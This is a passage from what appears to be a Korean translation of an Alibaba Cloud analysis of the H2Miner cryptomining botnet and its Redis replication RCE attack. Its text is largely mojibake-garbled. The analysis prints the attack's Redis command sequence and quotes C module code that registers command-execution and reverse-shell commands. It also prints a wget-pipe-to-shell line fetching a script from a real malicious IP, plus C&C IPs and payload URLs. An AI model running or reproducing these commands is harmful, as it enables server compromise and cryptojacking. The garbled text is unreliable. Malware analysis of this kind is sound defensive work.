ํ๋ฃจ ์ , ๋ด ํ๋ก์ ํธ ์๋ฒ ์ค ํ๋๊ฐ ๋น์ทํ ์์ ๊ณต๊ฒฉ์ ๋ฐ์์ต๋๋ค. "๊ทธ๊ฒ ๋ญ์์ง?"๋ผ๋ ์ง๋ฌธ์ ๋ํ ๋ต์ ์ฐพ๊ธฐ ์ํด Alibaba Cloud ๋ณด์ํ์ ํ๋ฅญํ ๊ธฐ์ฌ๋ฅผ ์ฐพ์์ต๋๋ค. Habrรฉ์์ ์ด ๊ธฐ์ฌ๋ฅผ ์ฐพ์ง ๋ชปํ๊ธฐ ๋๋ฌธ์ ํน๋ณํ ๋น์ ์ ์ํด ๋ฒ์ญํ๊ธฐ๋ก ๊ฒฐ์ ํ์ต๋๋ค <3
๊ธฐ์
์ต๊ทผ Alibaba Cloud์ ๋ณด์ํ์ H2Miner์ ๊ฐ์์ค๋ฌ์ด ์ถํ์ ๋ฐ๊ฒฌํ์ต๋๋ค. ์ด๋ฌํ ์ ํ์ ์ ์ฑ ์์ ์ธ์ฆ์ด ๋ถ์กฑํ๊ฑฐ๋ Redis์ ๋ํ ์ทจ์ฝํ ๋น๋ฐ๋ฒํธ๋ฅผ ์์คํ ๊ฒ์ดํธ์จ์ด๋ก ์ฌ์ฉํ ํ ๋ง์คํฐ-์ฌ๋ ์ด๋ธ ๋๊ธฐํ๋ฅผ ํตํด ์์ฒด ์ ์ฑ ๋ชจ๋์ ์ฌ๋ ์ด๋ธ์ ๋๊ธฐํํ๊ณ ์ต์ข ์ ์ผ๋ก ์ด ์ ์ฑ ๋ชจ๋์ ๊ณต๊ฒฉ๋ ์์คํ ์ ๋ค์ด๋ก๋ํ๊ณ ์ ์ฑ ์ฝ๋๋ฅผ ์คํํฉ๋๋ค. ์ง์นจ.
๊ณผ๊ฑฐ์๋ ๊ณต๊ฒฉ์๊ฐ Redis์ ๋ก๊ทธ์ธํ ํ ์์คํ ์ ๊ธฐ๋ก๋ SSH ํค๋ ์์ฝ๋ ์์ ๊ณผ ๊ด๋ จ๋ ๋ฐฉ๋ฒ์ ์ฌ์ฉํ์ฌ ์์คํ ์ ๋ํ ๊ณต๊ฒฉ์ด ์ฃผ๋ก ์ํ๋์์ต๋๋ค. ๋คํํ ์ด ๋ฐฉ๋ฒ์ ๊ถํ ์ ์ด ๋ฌธ์ ๋ ์์คํ ๋ฒ์ ์ฐจ์ด๋ก ์ธํด ์์ฃผ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ด๋ฌํ ์ ์ฑ ๋ชจ๋ ๋ก๋ ๋ฐฉ๋ฒ์ ๊ณต๊ฒฉ์์ ๋ช ๋ น์ ์ง์ ์คํํ๊ฑฐ๋ ์ ธ์ ์ ๊ทผํ ์ ์์ด ์์คํ ์ ์ํํ ์ ์์ต๋๋ค.
์ธํฐ๋ท์ ํธ์คํ ๋๋ Redis ์๋ฒ์ ์๊ฐ ๋ง๊ธฐ ๋๋ฌธ์(๊ฑฐ์ 1๋ง ๊ฐ) Alibaba Cloud์ ๋ณด์ ํ์ ์ฌ์ฉ์๊ฐ ์จ๋ผ์ธ์์ Redis๋ฅผ ๊ณต์ ํ์ง ๋ง๊ณ ์ ๊ธฐ์ ์ผ๋ก ๋น๋ฐ๋ฒํธ์ ๊ฐ๋์ ์์ ์ฌ๋ถ๋ฅผ ํ์ธํ ๊ฒ์ ๊ถ์ฅํฉ๋๋ค. ๋น ๋ฅธ ์ ํ.
H2Miner
H2Miner๋ Hadoop ์์ฌ, Docker ๋ฐ Redis ์๊ฒฉ ๋ช
๋ น ์คํ(RCE) ์ทจ์ฝ์ ์ ์ธ์ฆ ๋ถ์กฑ์ ํฌํจํ์ฌ ๋ค์ํ ๋ฐฉ๋ฒ์ผ๋ก ์์คํ
์ ์นจ์
ํ ์ ์๋ Linux ๊ธฐ๋ฐ ์์คํ
์ฉ ๋ง์ด๋ ๋ด๋ท์
๋๋ค. ๋ด๋ท์ ์
์ฑ ์คํฌ๋ฆฝํธ์ ์
์ฑ ์ฝ๋๋ฅผ ๋ค์ด๋ก๋ํ์ฌ ๋ฐ์ดํฐ๋ฅผ ๋ง์ด๋ํ๊ณ , ๊ณต๊ฒฉ์ ์ํ์ ์ผ๋ก ํ์ฅํ๋ฉฐ, ๋ช
๋ น ๋ฐ ์ ์ด(C&C) ํต์ ์ ์ ์งํ๋ ๋ฐฉ์์ผ๋ก ์๋ํฉ๋๋ค.
๋ ๋์ค RCE
์ด ์ฃผ์ ์ ๋ํ ์ง์์ ZeroNights 2018์์ Pavel Toporkov๊ฐ ๊ณต์ ํ์ต๋๋ค. ๋ฒ์ 4.0 ์ดํ Redis๋ ์ฌ์ฉ์๊ฐ ํน์ Redis ๋ช ๋ น์ ์คํํ๊ธฐ ์ํด C๋ก ์ปดํ์ผ๋ ํ์ผ์ Redis๋ก ๋ก๋ํ ์ ์๋ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ ํ๋ฌ๊ทธ์ธ ๋ก๋ฉ ๊ธฐ๋ฅ์ ์ง์ํฉ๋๋ค. ์ด ๊ธฐ๋ฅ์ ์ ์ฉํ๊ธฐ๋ ํ์ง๋ง ๋ง์คํฐ-์ฌ๋ ์ด๋ธ ๋ชจ๋์์ ํ์ผ์ด ์ ์ฒด ์ฌ๋๊ธฐํ ๋ชจ๋๋ฅผ ํตํด ์ฌ๋ ์ด๋ธ์ ๋๊ธฐํ๋ ์ ์๋ ์ทจ์ฝ์ ์ ํฌํจํ๊ณ ์์ต๋๋ค. ์ด๋ ๊ณต๊ฒฉ์๊ฐ ์ ์ฑ so ํ์ผ์ ์ ์กํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ต๋๋ค. ์ ์ก์ด ์๋ฃ๋ ํ ๊ณต๊ฒฉ์๋ ๊ณต๊ฒฉ๋ฐ์ Redis ์ธ์คํด์ค์ ๋ชจ๋์ ๋ก๋ํ๊ณ ๋ช ๋ น์ ์คํํฉ๋๋ค.
์ ์ฑ์ฝ๋ ์ ๋ถ์
์ต๊ทผ ์๋ฆฌ๋ฐ๋ฐ ํด๋ผ์ฐ๋ ๋ณด์ํ์ H2Miner ์ ์ฑ ์ฑ๊ตด์ ๊ทธ๋ฃน์ ๊ท๋ชจ๊ฐ ๊ฐ์๊ธฐ ๊ธ๊ฒฉํ ์ฆ๊ฐํ ์ฌ์ค์ ๋ฐ๊ฒฌํ์ต๋๋ค. ๋ถ์์ ๋ฐ๋ฅด๋ฉด ์ผ๋ฐ์ ์ธ ๊ณต๊ฒฉ ๋ฐ์ ๊ณผ์ ์ ๋ค์๊ณผ ๊ฐ๋ค.
H2Miner๋ ๋ณธ๊ฒฉ์ ์ธ ๊ณต๊ฒฉ์ ์ํด RCE Redis๋ฅผ ์ฌ์ฉํฉ๋๋ค. ๊ณต๊ฒฉ์๋ ๋จผ์ ๋ณดํธ๋์ง ์์ Redis ์๋ฒ๋ ๋น๋ฐ๋ฒํธ๊ฐ ์ทจ์ฝํ ์๋ฒ๋ฅผ ๊ณต๊ฒฉํฉ๋๋ค.
๊ทธ๋ฐ ๋ค์ ๋ช
๋ น์ ์ฌ์ฉํฉ๋๋ค. config set dbfilename red2.so
ํ์ผ ์ด๋ฆ์ ๋ณ๊ฒฝํ๋ ค๋ฉด . ๊ทธ ํ ๊ณต๊ฒฉ์๋ ๋ช
๋ น์ ์คํํฉ๋๋ค. slaveof
๋ง์คํฐ-์ฌ๋ ์ด๋ธ ๋ณต์ ํธ์คํธ ์ฃผ์๋ฅผ ์ค์ ํฉ๋๋ค.
๊ณต๊ฒฉ๋ฐ์ Redis ์ธ์คํด์ค๊ฐ ๊ณต๊ฒฉ์๊ฐ ์์ ํ ์ ์ฑ Redis์ ๋ง์คํฐ-์ฌ๋ ์ด๋ธ ์ฐ๊ฒฐ์ ์ค์ ํ๋ฉด ๊ณต๊ฒฉ์๋ ํ์ผ์ ๋๊ธฐํํ๊ธฐ ์ํด fullresync ๋ช ๋ น์ ์ฌ์ฉํ์ฌ ๊ฐ์ผ๋ ๋ชจ๋์ ๋ณด๋ ๋๋ค. ๊ทธ๋ฐ ๋ค์ red2.so ํ์ผ์ด ๊ณต๊ฒฉ๋ฐ์ ์์คํ ์ ๋ค์ด๋ก๋๋ฉ๋๋ค. ๊ทธ๋ฐ ๋ค์ ๊ณต๊ฒฉ์๋ ./red2.so ๋ก๋ฉ ๋ชจ๋์ ์ฌ์ฉํ์ฌ ์ด so ํ์ผ์ ๋ก๋ํฉ๋๋ค. ๋ชจ๋์ ๊ณต๊ฒฉ์์ ๋ช ๋ น์ ์คํํ๊ฑฐ๋ ์ญ๋ฐฉํฅ ์ฐ๊ฒฐ(๋ฐฑ๋์ด)์ ์์ํ์ฌ ๊ณต๊ฒฉ๋ฐ์ ์์คํ ์ ์ก์ธ์คํ ์ ์์ต๋๋ค.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
๋ค์๊ณผ ๊ฐ์ ์
์ฑ ๋ช
๋ น์ ์คํํ ํ / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1
, ๊ณต๊ฒฉ์๋ ๋ฐฑ์
ํ์ผ ์ด๋ฆ์ ์ฌ์ค์ ํ๊ณ ์์คํ
๋ชจ๋์ ์ธ๋ก๋ํ์ฌ ํ์ ์ ์ ๋ฆฌํฉ๋๋ค. ๊ทธ๋ฌ๋ red2.so ํ์ผ์ ๊ณต๊ฒฉ๋ฐ์ ์์คํ
์ ๊ณ์ ๋จ์ ์์ต๋๋ค. ์ฌ์ฉ์๋ Redis ์ธ์คํด์ค ํด๋์ ์์ฌ์ค๋ฌ์ด ํ์ผ์ด ์๋์ง ์ฃผ์ํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
๊ณต๊ฒฉ์๋ ๋ฆฌ์์ค๋ฅผ ํ์น๊ธฐ ์ํด ์ผ๋ถ ์
์ฑ ํ๋ก์ธ์ค๋ฅผ ์ข
๋ฃํ๋ ๊ฒ ์ธ์๋ ์
์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ๋ฐ๋ผ ์
์ฑ ๋ฐ์ด๋๋ฆฌ ํ์ผ์ ๋ค์ด๋ก๋ํ๊ณ ์คํํ์ฌ
๋ฆฌ๋ฒ์ค ์์ง๋์ด๋ง ๊ฒฐ๊ณผ์ ๋ฐ๋ฅด๋ฉด ์ ์ฑ์ฝ๋๋ ์ฃผ๋ก ๋ค์๊ณผ ๊ฐ์ ๊ธฐ๋ฅ์ ์ํํ๋ค.
- ํ์ผ ์ ๋ก๋ ๋ฐ ์คํ
- ์ฑ๊ด
- C&C ํต์ ์ ์ง ๋ฐ ๊ณต๊ฒฉ์ ๋ช ๋ น ์คํ
์ํฅ๋ ฅ์ ํ๋ํ๋ ค๋ฉด ์ธ๋ถ ์ค์บ๋์ฉ Masscan์ ์ฌ์ฉํ์ธ์. ๋ํ, ํ๋ก๊ทธ๋จ์๋ C&C ์๋ฒ์ IP ์ฃผ์๊ฐ ํ๋์ฝ๋ฉ๋์ด ์์ผ๋ฉฐ, ๊ณต๊ฒฉ์ ๋ฐ์ ํธ์คํธ๋ HTTP ์์ฒญ์ ์ด์ฉํด C&C ํต์ ์๋ฒ์ ํต์ ํ๊ฒ ๋๋๋ฐ, ์ด๋ HTTP ํค๋์์ ์ข๋น(์นจํด๋ ์๋ฒ) ์ ๋ณด๊ฐ ์๋ณ๋๋ค.
GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
๊ธฐํ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ
์์ด ์ฌ์ฉํ๋ ์ฃผ์์ ๋งํฌ
/ํจ์ฑ
โข 142.44.191.122/t.sh
โข 185.92.74.42/h.sh
โข 142.44.191.122/spr.sh
โข 142.44.191.122/spre.sh
โข 195.3.146.118/unk.sh
s&c
โข 45.10.88.102
โข 91.215.169.111
โข 139.99.50.255
โข 46.243.253.167
โข 195.123.220.193
์ด์ฌํ
์ฒซ์งธ, Redis๋ ์ธํฐ๋ท์์ ์ก์ธ์คํ ์ ์์ด์ผ ํ๋ฉฐ ๊ฐ๋ ฅํ ๋น๋ฐ๋ฒํธ๋ก ๋ณดํธ๋์ด์ผ ํฉ๋๋ค. ๋ํ ํด๋ผ์ด์ธํธ๊ฐ Redis ๋๋ ํฐ๋ฆฌ์ red2.so ํ์ผ์ด ์๊ณ ํธ์คํธ์ ํ์ผ/ํ๋ก์ธ์ค ์ด๋ฆ์ "kinsing"์ด ์๋์ง ํ์ธํ๋ ๊ฒ๋ ์ค์ํฉ๋๋ค.
์ถ์ฒ : habr.com